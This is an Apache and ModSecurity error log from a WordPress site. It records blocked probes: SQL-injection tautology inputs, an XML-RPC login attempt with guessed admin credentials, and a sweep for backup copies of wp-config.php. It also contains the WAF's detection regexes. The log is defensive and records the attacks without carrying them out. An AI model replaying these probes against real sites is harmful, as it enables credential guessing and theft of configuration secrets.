[Sun Mar 29 03:00:52.637687 2020] [:error] [pid 22144] [client 45.227.255.227:50488] [client 45.227.255.227] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "8712=8712"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "Xn-zRE2NhQQQhi0Y2gXd1wAAAAg"]
[Sun Mar 29 03:00:52.968339 2020] [:error] [pid 25425] [client 45.227.255.227:51400] [client 45.227.255.227] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "8712=8712"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "Xn-zRPmry0Nhm5FaHHB5IwAAAAY"]
[Sun Mar 29 03:00:53.096798 2020] [:error] [pid 25426] [client 45.227.255.227:51470] [client 45.227.255.227] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "'qtii'='qtii"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "Xn-zRbyifPQtPi90ux4kTgAAAAc"]
[Sun Mar 29 05:22:00.074099 2020] [authz_core:error] [pid 8869] [client 47.110.231.84:40242] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/back, referer: http://fincasandoval.com/back/license.txt
[Sun Mar 29 10:39:27.112756 2020] [autoindex:error] [pid 28766] [client 212.92.121.137:51540] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sun Mar 29 11:52:11.442189 2020] [authz_core:error] [pid 3783] [client 86.109.108.90:45180] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/_wp, referer: http://fincasandoval.com/_wp/license.txt
[Sun Mar 29 23:04:06.456574 2020] [proxy_fcgi:error] [pid 22580] [client 193.106.30.99:40594] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 30 13:32:44.728681 2020] [proxy_fcgi:error] [pid 31211] [client 193.106.30.99:50588] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 30 16:21:13.030018 2020] [proxy_fcgi:error] [pid 26788] [client 205.185.127.48:63497] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 30 22:04:18.790673 2020] [proxy_fcgi:error] [pid 18777] [client 193.106.30.99:58722] AH01071: Got error 'Primary script unknown\n'
[Tue Mar 31 07:41:12.290778 2020] [proxy_fcgi:error] [pid 12408] [client 37.97.185.158:60200] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Mar 31 12:19:27.330159 2020] [proxy_fcgi:error] [pid 27922] [client 134.122.81.145:51616] AH01071: Got error 'Primary script unknown\n'
[Wed Apr 01 00:44:00.550765 2020] [proxy_fcgi:error] [pid 20343] [client 205.185.127.48:60312] AH01071: Got error 'Primary script unknown\n'
[Wed Apr 01 06:31:50.965987 2020] [:error] [pid 11427] [client 80.82.64.213:57912] [client 80.82.64.213] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "258"] [id "33350147"] [rev "143"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potentially Untrusted Web Content Detected"] [data ""] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx ((?:submit(?:\\\\+| )?(request)?(?:\\\\+| )?>+|<<(?:\\\\+| )remove|(?:sign ?in|log ?(?:in|out)|next|modifier|envoyer|add|continue|weiter|account|results|select)?(?:\\\\+| )?>+)$|^< ?\\\\??(?: |\\\\+)?xml|^<samlp|^>> ?$)" against "ARGS_NAMES:<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>admin!@#</string></value></param></params></methodCall>" required. [hostname "fincasandoval.com"] [uri "/xmlrpc.php"] [unique_id "XoQZNtCoUEH7QYFPrTjSvwAAAAQ"]
[Wed Apr 01 14:11:37.387000 2020] [authz_core:error] [pid 21827] [client 78.85.166.90:51436] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Apr 02 05:58:20.784826 2020] [log_config:warn] [pid 3918] (28)No space left on device: [client 89.248.107.232:39262] AH00646: Error writing to logs/access_log
[Thu Apr 02 05:58:21.013477 2020] [log_config:warn] [pid 3310] (28)No space left on device: [client 195.248.251.18:11338] AH00646: Error writing to logs/access_log, referer: http://fincasandoval.com
[Sat Apr 04 02:14:03.629067 2020] [authz_core:error] [pid 32264] [client 109.201.133.100:46706] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.1, referer: fincasandoval.com
[Sat Apr 04 02:14:07.829312 2020] [authz_core:error] [pid 29804] [client 185.213.155.172:35951] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.swp, referer: fincasandoval.com
[Sat Apr 04 02:14:12.436069 2020] [authz_core:error] [pid 32295] [client 185.107.70.202:39828] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.disabled, referer: fincasandoval.com
[Sat Apr 04 02:14:15.180402 2020] [authz_core:error] [pid 31726] [client 93.186.170.7:36308] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak, referer: fincasandoval.com
[Sat Apr 04 02:14:19.309826 2020] [authz_core:error] [pid 32309] [client 199.249.230.67:40664] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.new, referer: fincasandoval.com
[Sat Apr 04 02:14:21.634782 2020] [authz_core:error] [pid 32381] [client 51.89.213.93:55722] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old, referer: fincasandoval.com
[Sat Apr 04 02:14:23.454774 2020] [authz_core:error] [pid 29804] [client 51.89.213.93:35150] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bak, referer: fincasandoval.com
[Sat Apr 04 02:14:37.415360 2020] [authz_core:error] [pid 32381] [client 199.249.230.117:34478] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.backup, referer: fincasandoval.com
[Sat Apr 04 02:14:50.065147 2020] [authz_core:error] [pid 29804] [client 205.185.123.166:51880] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save, referer: fincasandoval.com
[Sat Apr 04 02:15:02.183810 2020] [authz_core:error] [pid 32313] [client 85.248.227.163:24292] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~, referer: fincasandoval.com
[Sat Apr 04 02:15:07.820821 2020] [authz_core:error] [pid 32405] [client 85.248.227.163:25476] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_, referer: fincasandoval.com
[Sat Apr 04 02:15:10.412825 2020] [authz_core:error] [pid 32429] [client 162.247.74.74:55668] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.orig, referer: fincasandoval.com
[Sat Apr 04 02:15:14.262052 2020] [authz_core:error] [pid 32414] [client 162.247.74.202:51508] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_orig, referer: fincasandoval.com